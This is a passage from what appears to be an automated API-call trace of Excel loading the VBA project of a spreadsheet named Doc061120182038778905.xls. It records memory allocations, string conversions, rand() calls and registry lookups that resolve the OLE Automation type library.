Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0089.737] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0089.737] IMalloc:Alloc (This=0x7feffc15380, cb=0x122) returned 0xb9c42a0 [0089.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xb9c42a0, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0089.737] IMalloc:Free (This=0x7feffc15380, pv=0xb9c42a0) [0089.737] wcsncpy_s (in: _Destination=0x22ec50, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0089.737] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", cchLength=0x36 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls") returned 0x36 [0089.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", cchWideChar=55, lpMultiByteStr=0x22eb80, cbMultiByte=110, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 55 [0089.737] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0 [0089.737] IUnknown:AddRef (This=0xb825960) returned 0x3 [0089.737] IUnknown:QueryInterface (in: This=0xb825960, riid=0x7fee60885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x22f078 | out: ppvObject=0x22f078*=0x0) returned 0x80004002 [0089.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x22f040, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0089.737] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0089.737] IUnknown:Release (This=0xb825960) returned 0x2 [0089.737] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d9d80 [0089.737] IMalloc:GetSize (This=0x7feffc15380, pv=0xb8d9d80) returned 0x0 [0089.737] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d9d90 [0089.738] IMalloc:GetSize (This=0x7feffc15380, pv=0xb8d9d90) returned 0x0 [0089.738] VirtualQuery (in: lpAddress=0x22f620, lpBuffer=0x22f5e0, dwLength=0x30 | out: lpBuffer=0x22f5e0*(BaseAddress=0x22f000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x21000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.738] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d9da0 [0089.738] qsort (in: _Base=0xb8d9da0, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7fee5e35594 | out: _Base=0xb8d9da0) [0089.739] IMalloc:Free (This=0x7feffc15380, pv=0xb8d9da0) [0089.739] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb5c60f0 [0089.739] IMalloc:Alloc (This=0x7feffc15380, cb=0xc) returned 0xb5c6190 [0089.739] IMalloc:GetSize (This=0x7feffc15380, pv=0xb5c6190) returned 0xc [0089.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win16") returned 0x107ec1 [0089.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win32") returned 0x107f07 [0089.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win64") returned 0x107f78 [0089.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mac") returned 0x10b2b3 [0089.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA6") returned 0x1023ad [0089.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA7") returned 0x1023ae [0089.739] IMalloc:Free (This=0x7feffc15380, pv=0xb8d9d90) [0089.739] IMalloc:Free (This=0x7feffc15380, pv=0xb8d9d80) [0089.739] CoCreateGuid (in: pguid=0x22f728 | out: pguid=0x22f728*(Data1=0xe90d0840, Data2=0x9b7d, Data3=0x4099, Data4=([0]=0xb8, [1]=0x75, [2]=0xe7, [3]=0xc7, [4]=0x38, [5]=0xa, [6]=0x2, [7]=0x3a))) returned 0x0 [0089.739] IMalloc:Alloc (This=0x7feffc15380, cb=0x6b0) returned 0xb919bc0 [0089.739] srand (_Seed=0x5196) [0089.739] rand () returned 2707 [0089.739] rand () returned 5367 [0089.739] rand () returned 3107 [0089.740] rand () returned 25991 [0089.740] rand () returned 22224 [0089.740] rand () returned 7173 [0089.740] rand () returned 3305 [0089.740] rand () returned 5542 [0089.740] rand () returned 21093 [0089.740] rand () returned 7093 [0089.740] rand () returned 29645 [0089.740] rand () returned 30555 [0089.740] rand () returned 4452 [0089.740] rand () returned 15519 [0089.740] rand () returned 22682 [0089.740] rand () returned 20118 [0089.740] rand () returned 26125 [0089.740] rand () returned 28117 [0089.740] rand () returned 31912 [0089.740] rand () returned 27549 [0089.740] rand () returned 25247 [0089.740] rand () returned 12135 [0089.740] rand () returned 31572 [0089.740] rand () returned 27055 [0089.740] rand () returned 11630 [0089.740] rand () returned 26157 [0089.740] rand () returned 24237 [0089.740] rand () returned 16615 [0089.740] rand () returned 23350 [0089.740] rand () returned 7360 [0089.740] rand () returned 27760 [0089.740] rand () returned 12132 [0089.740] rand () returned 17327 [0089.740] rand () returned 21962 [0089.740] rand () returned 16183 [0089.740] rand () returned 15783 [0089.740] rand () returned 1121 [0089.740] rand () returned 21376 [0089.740] rand () returned 32749 [0089.740] rand () returned 25148 [0089.740] rand () returned 9658 [0089.740] rand () returned 30828 [0089.740] rand () returned 21381 [0089.740] rand () returned 2205 [0089.741] rand () returned 5726 [0089.741] rand () returned 9584 [0089.741] rand () returned 20715 [0089.741] rand () returned 32595 [0089.741] rand () returned 28862 [0089.741] rand () returned 14600 [0089.741] rand () returned 4923 [0089.741] rand () returned 4446 [0089.741] rand () returned 16108 [0089.741] rand () returned 5071 [0089.741] rand () returned 15410 [0089.741] rand () returned 20183 [0089.741] rand () returned 12462 [0089.741] rand () returned 17989 [0089.741] rand () returned 31458 [0089.741] rand () returned 18644 [0089.741] rand () returned 30673 [0089.741] rand () returned 19407 [0089.741] rand () returned 27305 [0089.741] rand () returned 17548 [0089.741] rand () returned 16063 [0089.741] rand () returned 30463 [0089.741] rand () returned 24163 [0089.741] rand () returned 10684 [0089.741] rand () returned 27988 [0089.741] rand () returned 29462 [0089.741] rand () returned 27615 [0089.741] rand () returned 12361 [0089.741] rand () returned 12270 [0089.741] rand () returned 32455 [0089.741] rand () returned 19344 [0089.741] rand () returned 4390 [0089.741] rand () returned 29891 [0089.741] rand () returned 17470 [0089.741] rand () returned 24709 [0089.741] rand () returned 15992 [0089.741] rand () returned 21368 [0089.741] rand () returned 29281 [0089.741] rand () returned 31899 [0089.742] rand () returned 26360 [0089.742] rand () returned 4847 [0089.742] rand () returned 31574 [0089.742] rand () returned 13554 [0089.742] rand () returned 18585 [0089.742] rand () returned 16736 [0089.742] rand () returned 7237 [0089.742] rand () returned 23197 [0089.742] rand () returned 5740 [0089.742] rand () returned 4779 [0089.742] rand () returned 4703 [0089.742] rand () returned 27550 [0089.742] rand () returned 30144 [0089.742] rand () returned 30956 [0089.742] rand () returned 8479 [0089.742] rand () returned 4113 [0089.742] rand () returned 22157 [0089.742] rand () returned 11088 [0089.745] rand () returned 19919 [0089.745] rand () returned 30631 [0089.745] rand () returned 11027 [0089.745] rand () returned 3880 [0089.745] rand () returned 29775 [0089.745] rand () returned 11094 [0089.745] rand () returned 17086 [0089.745] rand () returned 14140 [0089.745] rand () returned 6418 [0089.745] rand () returned 10063 [0089.745] rand () returned 19533 [0089.745] rand () returned 28002 [0089.745] rand () returned 7273 [0089.745] rand () returned 20785 [0089.745] rand () returned 17203 [0089.745] rand () returned 31311 [0089.745] rand () returned 13060 [0089.746] rand () returned 7804 [0089.746] rand () returned 19517 [0089.746] rand () returned 8108 [0089.746] rand () returned 18357 [0089.746] rand () returned 32584 [0089.746] rand () returned 17782 [0089.746] rand () returned 30829 [0089.746] rand () returned 10872 [0089.746] rand () returned 24887 [0089.746] rand () returned 3400 [0089.746] rand () returned 13150 [0089.746] rand () returned 12465 [0089.746] rand () returned 24232 [0089.746] rand () returned 17635 [0089.746] rand () returned 23550 [0089.746] rand () returned 10932 [0089.746] rand () returned 28205 [0089.746] rand () returned 4579 [0089.746] rand () returned 9617 [0089.746] rand () returned 21130 [0089.746] rand () returned 9792 [0089.746] rand () returned 9004 [0089.746] rand () returned 27761 [0089.746] rand () returned 6131 [0089.746] rand () returned 26929 [0089.746] rand () returned 32025 [0089.746] rand () returned 24997 [0089.746] rand () returned 28071 [0089.746] rand () returned 3427 [0089.746] rand () returned 20695 [0089.746] rand () returned 5300 [0089.746] rand () returned 31713 [0089.746] rand () returned 21944 [0089.746] rand () returned 25355 [0089.746] rand () returned 20411 [0089.746] rand () returned 23582 [0089.747] rand () returned 20042 [0089.747] rand () returned 17851 [0089.747] rand () returned 31166 [0089.747] rand () returned 16930 [0089.747] rand () returned 24924 [0089.747] rand () returned 26987 [0089.747] rand () returned 29500 [0089.747] rand () returned 13885 [0089.747] rand () returned 14480 [0089.747] rand () returned 18822 [0089.747] rand () returned 8454 [0089.747] rand () returned 17612 [0089.747] rand () returned 15962 [0089.747] rand () returned 14336 [0089.747] rand () returned 6481 [0089.747] rand () returned 18178 [0089.747] rand () returned 21428 [0089.747] rand () returned 3130 [0089.747] rand () returned 9993 [0089.747] rand () returned 10473 [0089.747] rand () returned 3603 [0089.747] rand () returned 14630 [0089.747] rand () returned 5992 [0089.747] rand () returned 20643 [0089.747] rand () returned 4506 [0089.747] rand () returned 3755 [0089.747] rand () returned 1480 [0089.747] rand () returned 2806 [0089.747] rand () returned 23438 [0089.747] rand () returned 10827 [0089.747] rand () returned 6581 [0089.747] rand () returned 8456 [0089.747] rand () returned 4363 [0089.747] rand () returned 23299 [0089.747] rand () returned 27463 [0089.747] rand () returned 31590 [0089.747] rand () returned 9717 [0089.748] rand () returned 31858 [0089.748] rand () returned 430 [0089.748] rand () returned 30283 [0089.748] rand () returned 28720 [0089.748] rand () returned 3390 [0089.748] rand () returned 8207 [0089.748] rand () returned 19232 [0089.748] rand () returned 31508 [0089.748] rand () returned 1204 [0089.748] rand () returned 21647 [0089.748] rand () returned 13119 [0089.748] rand () returned 12059 [0089.748] rand () returned 11182 [0089.748] rand () returned 32173 [0089.748] rand () returned 10236 [0089.748] rand () returned 8669 [0089.748] rand () returned 31930 [0089.748] rand () returned 14804 [0089.748] rand () returned 25574 [0089.748] rand () returned 8767 [0089.748] rand () returned 20344 [0089.748] rand () returned 30000 [0089.748] rand () returned 2378 [0089.748] rand () returned 21735 [0089.748] rand () returned 21316 [0089.748] rand () returned 2498 [0089.748] rand () returned 4601 [0089.748] rand () returned 29939 [0089.748] rand () returned 7445 [0089.748] rand () returned 9647 [0089.748] rand () returned 27723 [0089.748] rand () returned 3306 [0089.748] rand () returned 19621 [0089.748] rand () returned 27614 [0089.748] rand () returned 26980 [0089.749] rand () returned 15346 [0089.749] rand () returned 3283 [0089.749] rand () returned 705 [0089.749] rand () returned 24758 [0089.749] rand () returned 23364 [0089.749] rand () returned 29509 [0089.749] rand () returned 1395 [0089.749] rand () returned 11463 [0089.749] rand () returned 6110 [0089.749] rand () returned 849 [0089.749] rand () returned 2820 [0089.749] rand () returned 25909 [0089.749] rand () returned 21623 [0089.749] rand () returned 22558 [0089.749] rand () returned 14353 [0089.749] rand () returned 31223 [0089.749] rand () returned 26552 [0089.749] rand () returned 14854 [0089.749] rand () returned 3735 [0089.749] rand () returned 5093 [0089.749] rand () returned 2729 [0089.749] rand () returned 9023 [0089.749] rand () returned 28680 [0089.749] CoCreateGuid (in: pguid=0xb51cef8 | out: pguid=0xb51cef8*(Data1=0xefab69da, Data2=0x417b, Data3=0x4756, Data4=([0]=0xbd, [1]=0x0, [2]=0x80, [3]=0x1e, [4]=0x69, [5]=0x9c, [6]=0x0, [7]=0xd8))) returned 0x0 [0089.749] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x0) returned 0xb8d9d80 [0089.749] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xb863000 [0089.750] strcpy_s (in: _Dst=0xb51cf58, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0089.750] CExposedStream::Read () returned 0x0 [0089.750] IMalloc:Alloc (This=0x7feffc15380, cb=0x2028) returned 0xba22950 [0089.751] IMalloc:Alloc (This=0x7feffc15380, cb=0x10020*=0x10128) returned 0xba24980 [0089.752] CExposedStream::AddRef () returned 0x2 [0089.752] CExposedStream::Release () returned 0x1 [0089.752] CExposedStream::Read () returned 0x0 [0089.752] CExposedStream::Read () returned 0x0 [0089.777] GetProcAddress (hModule=0x7fee5a40000, lpProcName=0x7fee60a21d0) returned 0x0 [0089.778] CompareStringA (Locale=0x409, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2 [0089.778] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0x22f724, cbMultiByte=2, lpWideCharStr=0x22f738, cchWideChar=2 | out: lpWideCharStr="") returned 2 [0089.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x22f6b0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0089.792] lstrcmpiA (lpString1="", lpString2="VBAProject") returned -1 [0089.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0089.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x22f5b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0089.792] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0089.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x22f4c0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0089.793] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0089.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x22f4c0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0089.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x22f380, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0089.793] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0089.793] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0089.793] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb5c5cd0 [0089.793] IMalloc:Free (This=0x7feffc15380, pv=0xb8b9900) [0089.793] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8b9900 [0089.793] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8b9900, cb=0x44) returned 0x71f4630 [0089.793] IMalloc:Free (This=0x7feffc15380, pv=0xb5c5cd0) [0089.793] strcpy_s (in: _Dst=0xb51cf68, _DstSize=0xb, _Src="VBAProject" | out: _Dst="VBAProject") returned 0x0 [0089.796] CLSIDFromString (in: lpsz="{00020430-0000-0000-C000-000000000046}", pclsid=0x22f6c0 | out: pclsid=0x22f6c0*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.797] wcsncpy_s (in: _Destination=0xb4ed328, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x30 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#") returned 0x0 [0089.797] wcscpy_s (in: _Destination=0xb4ed388, _SizeInWords=0x2f, _Source="C:\\Windows\\SysWOW64\\stdole2.tlb" | out: _Destination="C:\\Windows\\SysWOW64\\stdole2.tlb") returned 0x0 [0089.797] wcscpy_s (in: _Destination=0xb4ed3c6, _SizeInWords=0x10, _Source="#OLE Automation" | out: _Destination="#OLE Automation") returned 0x0 [0089.797] IMalloc:Realloc (This=0x7feffc15380, pv=0xb4aa520, cb=0x680) returned 0x74005d0 [0089.797] wcscpy_s (in: _Destination=0x7400890, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0089.797] wcsncpy_s (in: _Destination=0x22f310, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0089.797] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0089.797] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0xb772360 [0089.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0xb772360, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0089.797] IMalloc:Free (This=0x7feffc15380, pv=0xb772360) [0089.797] wcscpy_s (in: _Destination=0xb862f08, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0089.797] wcsncpy_s (in: _Destination=0x22f350, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0089.797] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0089.797] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0xb772360 [0089.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0xb772360, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0089.797] IMalloc:Free (This=0x7feffc15380, pv=0xb772360) [0089.797] wcsncpy_s (in: _Destination=0x22f310, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0089.797] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", cchLength=0x36 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls") returned 0x36 [0089.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", cchWideChar=55, lpMultiByteStr=0x22f240, cbMultiByte=110, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 55 [0089.798] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0 [0089.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x22f5f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0089.798] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0089.798] strcpy_s (in: _Dst=0x22f3d0, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0089.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22f3d0, cbMultiByte=7, lpWideCharStr=0x22f220, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0089.798] IUnknown:AddRef (This=0xb825960) returned 0x3 [0089.798] ITypeLib:RemoteIsName (in: This=0xb825960, szNameBuf="stdole", lHashVal=0x106093, pfName=0x22f2f0, pBstrLibName=0x22f220 | out: pfName=0x22f2f0*=0, pBstrLibName=0x22f220) returned 0x0 [0089.798] IUnknown:Release (This=0xb825960) returned 0x2 [0089.798] IUnknown:AddRef (This=0xb824b50) returned 0x2 [0089.798] ITypeLib:RemoteIsName (in: This=0xb824b50, szNameBuf="stdole", lHashVal=0x106093, pfName=0x22f2f0, pBstrLibName=0x22f220 | out: pfName=0x22f2f0*=0, pBstrLibName=0x22f220) returned 0x0 [0089.798] IUnknown:Release (This=0xb824b50) returned 0x1 [0089.798] IMalloc:Alloc (This=0x7feffc15380, cb=0x208) returned 0x4bc8c60 [0089.798] wcscpy_s (in: _Destination=0xb4ed328, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0089.798] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x22e9d0 | out: phkResult=0x22e9d0*=0xab6) returned 0x0 [0089.799] RegOpenKeyW (in: hKey=0xab6, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x22e9c8 | out: phkResult=0x22e9c8*=0x9aa) returned 0x0 [0089.799] RegEnumKeyW (in: hKey=0x9aa, dwIndex=0x0, lpName=0x22e9f8, cchName=0xa | out: lpName="1.0") returned 0x0 [0089.803] RegEnumKeyW (in: hKey=0x9aa, dwIndex=0x1, lpName=0x22e9f8, cchName=0xa | out: lpName="2.0") returned 0x0 [0089.803] wcscpy_s (in: _Destination=0x22e9e0, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0089.803] RegOpenKeyW (in: hKey=0x9aa, lpSubKey="2.0", phkResult=0x22ea88 | out: phkResult=0x22ea88*=0xab2) returned 0x0 [0089.803] _ultoa_s (in: _Val=0x0, _DstBuf=0x22ea00, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0089.803] RegOpenKeyA (in: hKey=0xab2, lpSubKey="0", phkResult=0x22e9f0 | out: phkResult=0x22e9f0*=0xabe) returned 0x0 [0089.804] RegOpenKeyW (in: hKey=0xabe, lpSubKey="win64", phkResult=0x22e9f8 | out: phkResult=0x22e9f8*=0xcf2) returned 0x0 [0089.804] RegCloseKey (hKey=0xcf2) returned 0x0 [0089.804] RegCloseKey (hKey=0xabe) returned 0x0 [0089.804] _ultow_s (in: _Value=0x0, _Buffer=0x22ea90, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0089.804] RegOpenKeyW (in: hKey=0xab2, lpSubKey="0", phkResult=0x22ea68 | out: phkResult=0x22ea68*=0xabe) returned 0x0 [0089.805] RegQueryValueW (in: hKey=0xabe, lpSubKey="win64", lpData=0x22eab0, lpcbData=0x22ea64 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x22ea64) returned 0x0 [0089.805] wcscpy_s (in: _Destination=0x4bc8c60, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0089.805] RegCloseKey (hKey=0xabe) returned 0x0 [0089.805] RegCloseKey (hKey=0xab2) returned 0x0 [0089.805] RegCloseKey (hKey=0x9aa) returned 0x0 [0089.806] RegCloseKey (hKey=0xab6) returned 0x0 [0089.806] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x22f0d8*=0x0 | out: pptlib=0x22f0d8*=0xb825f00) returned 0x0 [0089.806] IUnknown:QueryInterface (in: This=0xb825f00, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x22eed8 | out: ppvObject=0x22eed8*=0x0) returned 0x80004002 [0089.806] ITypeLib:RemoteGetLibAttr (in: This=0xb825f00, ppTLibAttr=0x22eed0, pDummy=0x10 | out: ppTLibAttr=0x22eed0, pDummy=0x10) returned 0x0 [0089.806] ITypeLib:RemoteGetDocumentation (in: This=0xb825f00, index=-1, refPtrFlags=0x0, pbstrName=0x22eec8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb4ed386 | out: pbstrName=0x22eec8*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb4ed386) returned 0x0 [0089.806] StringFromGUID2 (in: rguid=0xb3dd570*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x22eef0, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0089.806] _ultow_s (in: 